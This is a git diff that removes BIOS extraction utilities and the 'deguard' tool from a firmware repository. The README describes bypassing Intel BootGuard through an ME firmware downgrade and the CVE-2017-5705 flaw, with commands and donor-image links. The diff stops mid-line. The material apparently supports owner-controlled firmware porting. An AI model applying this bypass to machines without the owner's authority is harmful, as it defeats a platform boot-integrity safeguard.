cfg_info = buffer[cfg_bgn:cfg_end].split(b'\x0D\x0A\x4D\x5A')[0].replace(b'\x0D',b'').split(b'\x0A') - - printer('Retrieving True/False values...', padding + 4) - - # Determine VAIO Package Configuration file True & False values - for info in cfg_info: - if info.startswith(b'ExtractPathByUser='): - cfg_false = bytearray(b'0' if info[18:] in (b'0',b'1') else info[18:]) # Should be 0/No/False - if info.startswith(b'UseCompression='): - cfg_true = bytearray(b'1' if info[15:] in (b'0',b'1') else info[15:]) # Should be 1/Yes/True - - # Check if valid True/False values have been retrieved - if cfg_false == cfg_true or not cfg_false or not cfg_true: - printer('Error: Could not retrieve True/False values!', padding + 8) - return 2 - - printer('Adjusting UseVAIOCheck entry...', padding + 4) - - # Find and replace UseVAIOCheck entry from 1/Yes/True to 0/No/False - vaio_check = PAT_VAIO_CHK.search(buffer[cfg_bgn:]) - if vaio_check: - buffer[cfg_bgn + vaio_check.end():cfg_bgn + vaio_check.end() + len(cfg_true)] = cfg_false - else: - printer('Error: Could not find entry UseVAIOCheck!', padding + 8) - return 3 - - printer('Adjusting ExtractPathByUser entry...', padding + 4) - - # Find and replace ExtractPathByUser entry from 0/No/False to 1/Yes/True - user_path = PAT_VAIO_EXT.search(buffer[cfg_bgn:]) - if user_path: - buffer[cfg_bgn + user_path.end():cfg_bgn + user_path.end() + len(cfg_false)] = cfg_true - else: - printer('Error: Could not find entry ExtractPathByUser!', padding + 8) - return 4 - - printer('Storing unlocked executable...', padding + 4) - - # Store Unlocked VAIO Packaging Manager executable - if vaio_check and user_path: - unlock_path = os.path.join(extract_path, f'{name}_Unlocked.exe') - with open(unlock_path, 'wb') as unl_file: - unl_file.write(buffer) - - return 0 - -# Parse & Extract or Unlock VAIO Packaging Manager -def vaio_pkg_extract(input_file, extract_path, padding=0): - input_buffer = file_to_bytes(input_file) - - input_name = os.path.basename(input_file) - - make_dirs(extract_path, delete=True) - - if vaio_cabinet(input_name, input_buffer, extract_path, padding) == 0: - printer('Successfully Extracted!', padding) - elif vaio_unlock(input_name, bytearray(input_buffer), extract_path, padding) == 0: - printer('Successfully Unlocked!', padding) - else: - printer('Error: Failed to Extract or Unlock executable!', padding) - return 1 - - return 0 - -if __name__ == '__main__': - BIOSUtility(TITLE, is_vaio_pkg, vaio_pkg_extract).run_utility() diff --git a/blobs/t480/biosutilities/common/checksums.py b/blobs/t480/biosutilities/common/checksums.py deleted file mode 100644 index 3e958ab1b..000000000 --- a/blobs/t480/biosutilities/common/checksums.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -# Get Checksum 16-bit -def get_chk_16(data, value=0, order='little'): - for idx in range(0, len(data), 2): - # noinspection PyTypeChecker - value += int.from_bytes(data[idx:idx + 2], order) - - value &= 0xFFFF - - return value - -# Get Checksum 8-bit XOR -def get_chk_8_xor(data, value=0): - for byte in data: - value ^= byte - - value ^= 0x0 - - return value diff --git a/blobs/t480/biosutilities/common/comp_efi.py b/blobs/t480/biosutilities/common/comp_efi.py deleted file mode 100644 index 2837898bc..000000000 --- a/blobs/t480/biosutilities/common/comp_efi.py +++ /dev/null @@ -1,57 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -import os -import subprocess - -from common.path_ops import project_root, safe_path -from common.system import get_os_ver, printer - -def get_compress_sizes(data): - size_compress = int.from_bytes(data[0x0:0x4], 'little') - size_original = int.from_bytes(data[0x4:0x8], 'little') - - return size_compress, size_original - -def is_efi_compressed(data, strict=True): - size_comp,size_orig = get_compress_sizes(data) - - check_diff = size_comp < size_orig - - if strict: - check_size = size_comp + 0x8 == len(data) - else: - check_size = size_comp + 0x8 <= len(data) - - return check_diff and check_size - -# Get TianoCompress path -def get_tiano_path(): - exec_name = f'TianoCompress{".exe" if get_os_ver()[1] else ""}' - - return safe_path(project_root(), ['external',exec_name]) - -# EFI/Tiano Decompression via TianoCompress -def efi_decompress(in_path, out_path, padding=0, silent=False, comp_type='--uefi'): - try: - subprocess.run([get_tiano_path(), '-d', in_path, '-o', out_path, '-q', comp_type], check=True, stdout=subprocess.DEVNULL) - - with open(in_path, 'rb') as file: - _,size_orig = get_compress_sizes(file.read()) - - if os.path.getsize(out_path) != size_orig: - raise Exception('EFI_DECOMPRESS_ERROR') - except Exception: - if not silent: - printer(f'Error: TianoCompress could not extract file {in_path}!', padding) - - return 1 - - if not silent: - printer('Succesfull EFI decompression via TianoCompress!', padding) - - return 0 diff --git a/blobs/t480/biosutilities/common/comp_szip.py b/blobs/t480/biosutilities/common/comp_szip.py deleted file mode 100644 index fb6041b82..000000000 --- a/blobs/t480/biosutilities/common/comp_szip.py +++ /dev/null @@ -1,72 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -import os -import subprocess - -from common.path_ops import project_root, safe_path -from common.system import get_os_ver, printer - -# Get 7-Zip path -def get_szip_path(): - exec_name = '7z.exe' if get_os_ver()[1] else '7zzs' - - return safe_path(project_root(), ['external',exec_name]) - -# Check 7-Zip bad exit codes (0 OK, 1 Warning) -def check_bad_exit_code(exit_code): - if exit_code not in (0,1): - raise Exception(f'BAD_EXIT_CODE_{exit_code}') - -# Check if file is 7-Zip supported -def is_szip_supported(in_path, padding=0, args=None, check=False, silent=False): - try: - if args is None: - args = [] - - szip_c = [get_szip_path(), 't', in_path, *args, '-bso0', '-bse0', '-bsp0'] - - szip_t = subprocess.run(szip_c, check=False) - - if check: - check_bad_exit_code(szip_t.returncode) - except Exception: - if not silent: - printer(f'Error: 7-Zip could not check support for file {in_path}!', padding) - - return False - - return True - -# Archive decompression via 7-Zip -def szip_decompress(in_path, out_path, in_name, padding=0, args=None, check=False, silent=False): - if not in_name: - in_name = 'archive' - - try: - if args is None: - args = [] - - szip_c = [get_szip_path(), 'x', *args, '-aou', '-bso0', '-bse0', '-bsp0', f'-o{out_path}', in_path] - - szip_x = subprocess.run(szip_c, check=False) - - if check: - check_bad_exit_code(szip_x.returncode) - - if not os.path.isdir(out_path): - raise Exception('EXTRACT_DIR_MISSING') - except Exception: - if not silent: - printer(f'Error: 7-Zip could not extract {in_name} file {in_path}!', padding) - - return 1 - - if not silent: - printer(f'Succesfull {in_name} decompression via 7-Zip!', padding) - - return 0 diff --git a/blobs/t480/biosutilities/common/externals.py b/blobs/t480/biosutilities/common/externals.py deleted file mode 100644 index f81e3b912..000000000 --- a/blobs/t480/biosutilities/common/externals.py +++ /dev/null @@ -1,38 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -from common.path_ops import project_root, safe_path -from common.system import get_os_ver - -# https://github.com/allowitsme/big-tool by Dmitry Frolov -# https://github.com/platomav/BGScriptTool by Plato Mavropoulos -def get_bgs_tool(): - try: - # noinspection PyUnresolvedReferences - from external.big_script_tool import BigScript # pylint: disable=E0401,E0611 - except Exception: - BigScript = None - - return BigScript - -# Get UEFIFind path -def get_uefifind_path(): - exec_name = f'UEFIFind{".exe" if get_os_ver()[1] else ""}' - - return safe_path(project_root(), ['external', exec_name]) - -# Get UEFIExtract path -def get_uefiextract_path(): - exec_name = f'UEFIExtract{".exe" if get_os_ver()[1] else ""}' - - return safe_path(project_root(), ['external', exec_name]) - -# Get ToshibaComExtractor path -def get_comextract_path(): - exec_name = f'comextract{".exe" if get_os_ver()[1] else ""}' - - return safe_path(project_root(), ['external', exec_name]) diff --git a/blobs/t480/biosutilities/common/num_ops.py b/blobs/t480/biosutilities/common/num_ops.py deleted file mode 100644 index c37e4d742..000000000 --- a/blobs/t480/biosutilities/common/num_ops.py +++ /dev/null @@ -1,14 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -# https://leancrew.com/all-this/2020/06/ordinals-in-python/ by Dr. Drang -def get_ordinal(number): - s = ('th', 'st', 'nd', 'rd') + ('th',) * 10 - - v = number % 100 - - return f'{number}{s[v % 10]}' if v > 13 else f'{number}{s[v]}' diff --git a/blobs/t480/biosutilities/common/path_ops.py b/blobs/t480/biosutilities/common/path_ops.py deleted file mode 100644 index bcff167b7..000000000 --- a/blobs/t480/biosutilities/common/path_ops.py +++ /dev/null @@ -1,154 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -import os -import re -import sys -import stat -import shutil -from pathlib import Path, PurePath - -from common.text_ops import is_encased, to_string - -# Fix illegal/reserved Windows characters -def safe_name(in_name): - name_repr = repr(in_name).strip("'") - - return re.sub(r'[\\/:"*?<>|]+', '_', name_repr) - -# Check and attempt to fix illegal/unsafe OS path traversals -def safe_path(base_path, user_paths): - # Convert base path to absolute path - base_path = real_path(base_path) - - # Merge user path(s) to string with OS separators - user_path = to_string(user_paths, os.sep) - - # Create target path from base + requested user path - target_path = norm_path(base_path, user_path) - - # Check if target path is OS illegal/unsafe - if is_safe_path(base_path, target_path): - return target_path - - # Re-create target path from base + leveled/safe illegal "path" (now file) - nuked_path = norm_path(base_path, safe_name(user_path)) - - # Check if illegal path leveling worked - if is_safe_path(base_path, nuked_path): - return nuked_path - - # Still illegal, raise exception to halt execution - raise Exception(f'ILLEGAL_PATH_TRAVERSAL: {user_path}') - -# Check for illegal/unsafe OS path traversal -def is_safe_path(base_path, target_path): - base_path = real_path(base_path) - - target_path = real_path(target_path) - - common_path = os.path.commonpath((base_path, target_path)) - - return base_path == common_path - -# Create normalized base path + OS separator + user path -def norm_path(base_path, user_path): - return os.path.normpath(base_path + os.sep + user_path) - -# Get absolute path, resolving any symlinks -def real_path(in_path): - return os.path.realpath(in_path) - -# Get Windows/Posix OS agnostic path -def agnostic_path(in_path): - return PurePath(in_path.replace('\\', os.sep)) - -# Get absolute parent of path -def path_parent(in_path): - return Path(in_path).parent.absolute() - -# Get final path component, with suffix -def path_name(in_path): - return PurePath(in_path).name - -# Get final path component, w/o suffix -def path_stem(in_path): - return PurePath(in_path).stem - -# Get list of path file extensions -def path_suffixes(in_path): - return PurePath(in_path).suffixes or [''] - -# Check if path is absolute -def is_path_absolute(in_path): - return Path(in_path).is_absolute() - -# Create folder(s), controlling parents, existence and prior deletion -def make_dirs(in_path, parents=True, exist_ok=False, delete=False): - if delete: - del_dirs(in_path) - - Path.mkdir(Path(in_path), parents=parents, exist_ok=exist_ok) - -# Delete folder(s), if present -def del_dirs(in_path): - if Path(in_path).is_dir(): - shutil.rmtree(in_path, onerror=clear_readonly) - -# Copy file to path with or w/o metadata -def copy_file(in_path, out_path, meta=False): - if meta: - shutil.copy2(in_path, out_path) - else: - shutil.copy(in_path, out_path) - -# Clear read-only file attribute (on shutil.rmtree error) -def clear_readonly(in_func, in_path, _): - os.chmod(in_path, stat.S_IWRITE) - in_func(in_path) - -# Walk path to get all files -def get_path_files(in_path): - path_files = [] - - for root, _, files in os.walk(in_path): - for name in files: - path_files.append(os.path.join(root, name)) - - return path_files - -# Get path without leading/trailing quotes -def get_dequoted_path(in_path): - out_path = to_string(in_path).strip() - - if len(out_path) >= 2 and is_encased(out_path, ("'",'"')): - out_path = out_path[1:-1] - - return out_path - -# Set utility extraction stem -def extract_suffix(): - return '_extracted' - -# Get utility extraction path -def get_extract_path(in_path, suffix=extract_suffix()): - return f'{in_path}{suffix}' - -# Get project's root directory -def project_root(): - root = Path(__file__).parent.parent - - return real_path(root) - -# Get runtime's root directory -def runtime_root(): - if getattr(sys, 'frozen', False): - root = Path(sys.executable).parent - else: - root = project_root() - - return real_path(root) diff --git a/blobs/t480/biosutilities/common/patterns.py b/blobs/t480/biosutilities/common/patterns.py deleted file mode 100644 index ecdde3931..000000000 --- a/blobs/t480/biosutilities/common/patterns.py +++ /dev/null @@ -1,34 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -import re - -PAT_AMI_PFAT = re.compile(br'_AMIPFAT.AMI_BIOS_GUARD_FLASH_CONFIGURATIONS', re.DOTALL) -PAT_AMI_UCP = re.compile(br'@(UAF|HPU).{12}@', re.DOTALL) -PAT_APPLE_EFI = re.compile(br'\$IBIOSI\$.{16}\x2E\x00.{6}\x2E\x00.{8}\x2E\x00.{6}\x2E\x00.{20}\x00{2}', re.DOTALL) -PAT_APPLE_IM4P = re.compile(br'\x16\x04IM4P\x16\x04mefi') -PAT_APPLE_PBZX = re.compile(br'pbzx') -PAT_APPLE_PKG = re.compile(br'xar!') -PAT_AWARD_LZH = re.compile(br'-lh[04567]-') -PAT_DELL_FTR = re.compile(br'\xEE\xAA\xEE\x8F\x49\x1B\xE8\xAE\x14\x37\x90') -PAT_DELL_HDR = re.compile(br'\xEE\xAA\x76\x1B\xEC\xBB\x20\xF1\xE6\x51.\x78\x9C', re.DOTALL) -PAT_DELL_PKG = re.compile(br'\x72\x13\x55\x00.{45}7zXZ', re.DOTALL) -PAT_FUJITSU_SFX = re.compile(br'FjSfxBinay\xB2\xAC\xBC\xB9\xFF{4}.{4}\xFF{4}.{4}\xFF{4}\xFC\xFE', re.DOTALL) -PAT_INSYDE_IFL = re.compile(br'\$_IFLASH') -PAT_INSYDE_SFX = re.compile(br'\x0D\x0A;!@InstallEnd@!\x0D\x0A(7z\xBC\xAF\x27|\x6E\xF4\x79\x5F\x4E)') -PAT_INTEL_ENG = re.compile(br'\x04\x00{3}[\xA1\xE1]\x00{3}.{8}\x86\x80.{9}\x00\$((MN2)|(MAN))', re.DOTALL) -PAT_INTEL_IFD = re.compile(br'\x5A\xA5\xF0\x0F.{172}\xFF{16}', re.DOTALL) -PAT_MICROSOFT_CAB = re.compile(br'MSCF\x00{4}') -PAT_MICROSOFT_MZ = re.compile(br'MZ') -PAT_MICROSOFT_PE = re.compile(br'PE\x00{2}') -PAT_PHOENIX_TDK = re.compile(br'\$PACK\x00{3}..\x00{2}.\x00{3}', re.DOTALL) -PAT_PORTWELL_EFI = re.compile(br'') -PAT_TOSHIBA_COM = re.compile(br'\x00{2}[\x00-\x02]BIOS.{20}[\x00\x01]', re.DOTALL) -PAT_VAIO_CAB = re.compile(br'\xB2\xAC\xBC\xB9\xFF{4}.{4}\xFF{4}.{4}\xFF{4}\xFC\xFE', re.DOTALL) -PAT_VAIO_CFG = re.compile(br'\[Setting]\x0D\x0A') -PAT_VAIO_CHK = re.compile(br'\x0AUseVAIOCheck=') -PAT_VAIO_EXT = re.compile(br'\x0AExtractPathByUser=') diff --git a/blobs/t480/biosutilities/common/pe_ops.py b/blobs/t480/biosutilities/common/pe_ops.py deleted file mode 100644 index ba23828d6..000000000 --- a/blobs/t480/biosutilities/common/pe_ops.py +++ /dev/null @@ -1,49 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -import pefile - -from common.system import printer -from common.text_ops import file_to_bytes - -# Check if input is a PE file -def is_pe_file(in_file): - return bool(get_pe_file(in_file)) - -# Get pefile object from PE file -def get_pe_file(in_file, fast=True): - in_buffer = file_to_bytes(in_file) - - try: - # Analyze detected MZ > PE image buffer - pe_file = pefile.PE(data=in_buffer, fast_load=fast) - except Exception: - pe_file = None - - return pe_file - -# Get PE info from pefile object -def get_pe_info(pe_file): - try: - # When fast_load is used, IMAGE_DIRECTORY_ENTRY_RESOURCE must be parsed prior to FileInfo > StringTable - pe_file.parse_data_directories(directories=[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_RESOURCE']]) - - # Retrieve MZ > PE > FileInfo > StringTable information - pe_info = pe_file.FileInfo[0][0].StringTable[0].entries - except Exception: - pe_info = {} - - return pe_info - -# Print PE info from pefile StringTable -def show_pe_info(pe_info, padding=0): - if type(pe_info).__name__ == 'dict': - for title,value in pe_info.items(): - info_title = title.decode('utf-8','ignore').strip() - info_value = value.decode('utf-8','ignore').strip() - if info_title and info_value: - printer(f'{info_title}: {info_value}', padding, new_line=False) diff --git a/blobs/t480/biosutilities/common/struct_ops.py b/blobs/t480/biosutilities/common/struct_ops.py deleted file mode 100644 index b995ba140..000000000 --- a/blobs/t480/biosutilities/common/struct_ops.py +++ /dev/null @@ -1,28 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -import ctypes - -char = ctypes.c_char -uint8_t = ctypes.c_ubyte -uint16_t = ctypes.c_ushort -uint32_t = ctypes.c_uint -uint64_t = ctypes.c_uint64 - -# https://github.com/skochinsky/me-tools/blob/master/me_unpack.py by Igor Skochinsky -def get_struct(buffer, start_offset, class_name, param_list=None): - if param_list is None: - param_list = [] - - structure = class_name(*param_list) # Unpack parameter list - struct_len = ctypes.sizeof(structure) - struct_data = buffer[start_offset:start_offset + struct_len] - fit_len = min(len(struct_data), struct_len) - - ctypes.memmove(ctypes.addressof(structure), struct_data, fit_len) - - return structure diff --git a/blobs/t480/biosutilities/common/system.py b/blobs/t480/biosutilities/common/system.py deleted file mode 100644 index 9598e3026..000000000 --- a/blobs/t480/biosutilities/common/system.py +++ /dev/null @@ -1,68 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -import sys - -from common.text_ops import padder, to_string - -# Get Python Version (tuple) -def get_py_ver(): - return sys.version_info - -# Get OS Platform (string) -def get_os_ver(): - sys_os = sys.platform - - is_win = sys_os == 'win32' - is_lnx = sys_os.startswith('linux') or sys_os == 'darwin' or sys_os.find('bsd') != -1 - - return sys_os, is_win, is_win or is_lnx - -# Check for --auto-exit|-e -def is_auto_exit(): - return bool('--auto-exit' in sys.argv or '-e' in sys.argv) - -# Check Python Version -def check_sys_py(): - sys_py = get_py_ver() - - if sys_py < (3,10): - sys.stdout.write(f'\nError: Python >= 3.10 required, not {sys_py[0]}.{sys_py[1]}!') - - if not is_auto_exit(): - # noinspection PyUnresolvedReferences - (raw_input if sys_py[0] <= 2 else input)('\nPress enter to exit') # pylint: disable=E0602 - - sys.exit(125) - -# Check OS Platform -def check_sys_os(): - os_tag,os_win,os_sup = get_os_ver() - - if not os_sup: - printer(f'Error: Unsupported platform "{os_tag}"!') - - if not is_auto_exit(): - input('\nPress enter to exit') - - sys.exit(126) - - # Fix Windows Unicode console redirection - if os_win: - sys.stdout.reconfigure(encoding='utf-8') - -# Show message(s) while controlling padding, newline, pausing & separator -def printer(in_message='', padd_count=0, new_line=True, pause=False, sep_char=' '): - message = to_string(in_message, sep_char) - - padding = padder(padd_count) - - newline = '\n' if new_line else '' - - output = newline + padding + message - - (input if pause and not is_auto_exit() else print)(output) diff --git a/blobs/t480/biosutilities/common/templates.py b/blobs/t480/biosutilities/common/templates.py deleted file mode 100644 index f69af33f1..000000000 --- a/blobs/t480/biosutilities/common/templates.py +++ /dev/null @@ -1,162 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -import os -import sys -import ctypes -import argparse -import traceback - -from common.num_ops import get_ordinal -from common.path_ops import get_dequoted_path, get_extract_path, get_path_files, is_path_absolute, path_parent, runtime_root, safe_path -from common.system import check_sys_os, check_sys_py, get_os_ver, is_auto_exit, printer - -class BIOSUtility: - - MAX_FAT32_ITEMS = 65535 - - def __init__(self, title, check, main, padding=0): - self._title = title - self._main = main - self._check = check - self._padding = padding - self._arguments_kw = {} - - # Initialize argparse argument parser - self._argparser = argparse.ArgumentParser() - - self._argparser.add_argument('files', type=argparse.FileType('r', encoding='utf-8'), nargs='*') - self._argparser.add_argument('-e', '--auto-exit', help='skip all user action prompts', action='store_true') - self._argparser.add_argument('-v', '--version', help='show utility name and version', action='store_true') - self._argparser.add_argument('-o', '--output-dir', help='extract in given output directory') - self._argparser.add_argument('-i', '--input-dir', help='extract from given input directory') - - self._arguments,self._arguments_unk = self._argparser.parse_known_args() - - # Managed Python exception handler - sys.excepthook = self._exception_handler - - # Check Python Version - check_sys_py() - - # Check OS Platform - check_sys_os() - - # Show Script Title - printer(self._title, new_line=False) - - # Show Utility Version on demand - if self._arguments.version: - sys.exit(0) - - # Set console/terminal window title (Windows only) - if get_os_ver()[1]: - ctypes.windll.kernel32.SetConsoleTitleW(self._title) - - # Process input files and generate output path - self._process_input_files() - - # Count input files for exit code - self._exit_code = len(self._input_files) - - def parse_argument(self, *args, **kwargs): - _dest = self._argparser.add_argument(*args, **kwargs).dest - self._arguments = self._argparser.parse_known_args(self._arguments_unk)[0] - self._arguments_kw.update({_dest: self._arguments.__dict__[_dest]}) - - def run_utility(self): - for _input_file in self._input_files: - _input_name = os.path.basename(_input_file) - - printer(['***', _input_name], self._padding) - - if not self._check(_input_file): - printer('Error: This is not a supported input!', self._padding + 4) - - continue # Next input file - - _extract_path = os.path.join(self._output_path, get_extract_path(_input_name)) - - if os.path.isdir(_extract_path): - for _suffix in range(2, self.MAX_FAT32_ITEMS): - _renamed_path = f'{os.path.normpath(_extract_path)}_{get_ordinal(_suffix)}' - - if not os.path.isdir(_renamed_path): - _extract_path = _renamed_path - - break # Extract path is now unique - - if self._main(_input_file, _extract_path, self._padding + 4, **self._arguments_kw) in [0, None]: - self._exit_code -= 1 - - printer('Done!', pause=True) - - sys.exit(self._exit_code) - - # Process input files - def _process_input_files(self): - self._input_files = [] - - if len(sys.argv) >= 2: - # Drag & Drop or CLI - if self._arguments.input_dir: - _input_path_user = self._arguments.input_dir - _input_path_full = self._get_input_path(_input_path_user) if _input_path_user else '' - self._input_files = get_path_files(_input_path_full) - else: - # Parse list of input files (i.e. argparse FileType objects) - for _file_object in self._arguments.files: - # Store each argparse FileType object's name (i.e. path) - self._input_files.append(_file_object.name) - # Close each argparse FileType object (i.e. allow input file changes) - _file_object.close() - - # Set output fallback value for missing argparse Output and Input Path - _output_fallback = path_parent(self._input_files[0]) if self._input_files else None - - # Set output path via argparse Output path or argparse Input path or first input file path - _output_path = self._arguments.output_dir or self._arguments.input_dir or _output_fallback - else: - # Script w/o parameters - _input_path_user = get_dequoted_path(input('\nEnter input directory path: ')) - _input_path_full = self._get_input_path(_input_path_user) if _input_path_user else '' - self._input_files = get_path_files(_input_path_full) - - _output_path = get_dequoted_path(input('\nEnter output directory path: ')) - - self._output_path = self._get_input_path(_output_path) - - # Get absolute input file path - @staticmethod - def _get_input_path(input_path): - if not input_path: - # Use runtime directory if no user path is specified - absolute_path = runtime_root() - else: - # Check if user specified path is absolute - if is_path_absolute(input_path): - absolute_path = input_path - # Otherwise, make it runtime directory relative - else: - absolute_path = safe_path(runtime_root(), input_path) - - return absolute_path - - # https://stackoverflow.com/a/781074 by Torsten Marek - @staticmethod - def _exception_handler(exc_type, exc_value, exc_traceback): - if exc_type is KeyboardInterrupt: - printer('') - else: - printer('Error: Utility crashed, please report the following:\n') - - traceback.print_exception(exc_type, exc_value, exc_traceback) - - if not is_auto_exit(): - input('\nPress enter to exit') - - sys.exit(127) diff --git a/blobs/t480/biosutilities/common/text_ops.py b/blobs/t480/biosutilities/common/text_ops.py deleted file mode 100644 index f00705124..000000000 --- a/blobs/t480/biosutilities/common/text_ops.py +++ /dev/null @@ -1,33 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -# Generate padding (spaces or tabs) -def padder(padd_count, tab=False): - return ('\t' if tab else ' ') * padd_count - -# Get String from given input object -def to_string(in_object, sep_char=''): - if type(in_object).__name__ in ('list','tuple'): - out_string = sep_char.join(map(str, in_object)) - else: - out_string = str(in_object) - - return out_string - -# Get Bytes from given buffer or file path -def file_to_bytes(in_object): - object_bytes = in_object - - if type(in_object).__name__ not in ('bytes','bytearray'): - with open(to_string(in_object), 'rb') as object_data: - object_bytes = object_data.read() - - return object_bytes - -# Check if string starts and ends with given character(s) -def is_encased(in_string, chars): - return in_string.startswith(chars) and in_string.endswith(chars) diff --git a/blobs/t480/biosutilities/external/requirements.txt b/blobs/t480/biosutilities/external/requirements.txt deleted file mode 100644 index 798c16cf3..000000000 --- a/blobs/t480/biosutilities/external/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -lznt1 >= 0.2 -pefile >= 2022.5.30 diff --git a/blobs/t480/deguard/.gitignore b/blobs/t480/deguard/.gitignore deleted file mode 100644 index 834b16bde..000000000 --- a/blobs/t480/deguard/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -__pycache__ -test diff --git a/blobs/t480/deguard/README.md b/blobs/t480/deguard/README.md deleted file mode 100644 index 186001cea..000000000 --- a/blobs/t480/deguard/README.md +++ /dev/null @@ -1,81 +0,0 @@ -# Bypass Intel BootGuard on ME v11.x.x.x hardware - -This utility allows generating BootGuard bypass images for hardware running ME v11.x.x.x firmware. - -This includes Skylake, Kaby Lake, and some Coffee Lake PCHs. Both the H (desktop) and LP (mobile) firmware -varaints are supported. - -## Background - -This uses [CVE-2017-5705](https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00086.html). - -It has been fixed by Intel in newer ME v11.x.x.x firmware releases, however ME11 hardware has no protection -against downgrading the ME version by overwriting the SPI flash physically, thus we can downgrade to a vulnerable -version. - -After downgrade, we exploit the bup module of the vulnerable firmware, overwriting the copy of field programmable fuses -stored in SRAM, resulting in the fused BootGuard configuration being replaced with our desired one. - -## Adding new target - -As a board porter, you need to provide the delta between the default and vendor provided ME configuration. - -This goes in the `data/delta/` directory for each target. - -To obtain this, dump the vendor firmware from your board, and execute: - -`./generatedelta.py --input --output data/delta/` - -Note the delta generation only takes your factory dump as an input. This is because an ME image contains both the -default and system specific configuration, and these can be compared by deguard. - -You *must discard* the `/home/secureboot` directory from the delta for the zero FPF config to work. - -You can optionally also discard `home/{amt,fwupdate,pavp,ptt}` from the delta. - -## Generating images for an existing target - -As a user wishing to generate an image for a supported target: - -You will need to obtain a donor image for your platform variant with a supported ME version (see URLs below). - -This can either be a full image with a flash descriptor or just a bare ME region. - -Afterwards, execute the following command and enjoy: - -`./finalimage.py --delta data/delta/ --version --pch --sku <2M or 5M SKU> --fake-fpfs data/fpfs/zero --input --output ` - -The output will be a bare deguard patched ME region. - -Please note: -- The **the HAP bit must be enabled** in your flash descriptor for deguard generated ME images to work. -- The DCI bit must be enabled in your flash descriptor for DCI debugging over USB. - - -## Note on field programmable fuses - -This document recommends faking a set of FPFs that are all zero as a BootGuard bypass strategy. - -This causes the platform to work in legacy mode, and does not require dumping the fuses from the PCH. - -It is also possible to enable measured mode instead (there is some example FPF data for this). - -Theoretically it is possible to even re-enable BootGuard with a custom private key (with the caveat that it is -obviously insecure against physical access). - -## Donor images - -This section lists some URLs to recommended and tested donor images. Any image with a supported firmware -version and variant ought to work, but the path of least resistance is for everyone to use the same images. - -|Version|Variant|SKU|URL|Notes| -|-|-|-|-| -|11.6.0.1126|H (Desktop)|2M|[link](https://web.archive.org/web/20230822134231/https://download.asrock.com/BIOS/1151/H110M-DGS(7.30)ROM.zip)|Zipped flash image| -|11.6.0.1126|LP (Laptop)|2M|[link](https://web.archive.org/web/20241110222323/https://dl.dell.com/FOLDER04573471M/1/Inspiron_5468_1.3.0.exe)|Dell BIOS update (use Dell_PFS_Extract.py)| - -## Thanks - -Thanks goes to PT Research and Youness El Alaoui for previous work on exploiting Intel SA 00086, which this PoC is heavily reliant on. - -- [IntelTXE-PoC](https://github.com/kakaroto/IntelTXE-PoC) -- [MFSUtil](https://github.com/kakaroto/MFSUtil) diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/emu_fuse_map b/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/emu_fuse_map deleted file mode 100644 index 78259a9dc541f003d09457207db1840901d2d1ab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7 OcmZ>37i8dJ-~a#xoB;Cx diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/fuse_ip_base b/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/fuse_ip_base deleted file mode 100644 index 658a9660e31c0501f3e9fba168279fecec236f8b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 18 ZcmWe&P-3uPSje!M;Q^BeQzX+xCIBG91Q`GT diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/plat_n_sku b/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/plat_n_sku deleted file mode 100644 index 96296af2d..000000000 --- a/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/plat_n_sku +++ /dev/null @@ -1 +0,0 @@ -/€ \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/mbp b/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/mbp deleted file mode 100644 index 6d3c0ed71b21e041cac3068687a0607cac1e8c50..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 44 tcmd;PWnf_BU}69PMph;UB^DP!MkXc(2SGtYMouOM=YW5WY>Z&}1^_eW1Kt1t diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/gpio/csme_pins b/blobs/t480/deguard/data/delta/optiplex_3050/home/gpio/csme_pins deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/dynregs b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/dynregs deleted file mode 100644 index 23c1ea2751fd4615995e5930e844e1abd9b58557..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 36 jcmY#kU}RuoU|?VpV81gH3Z8yoU{Diaz9V21QU<~Ru6_#V diff --git 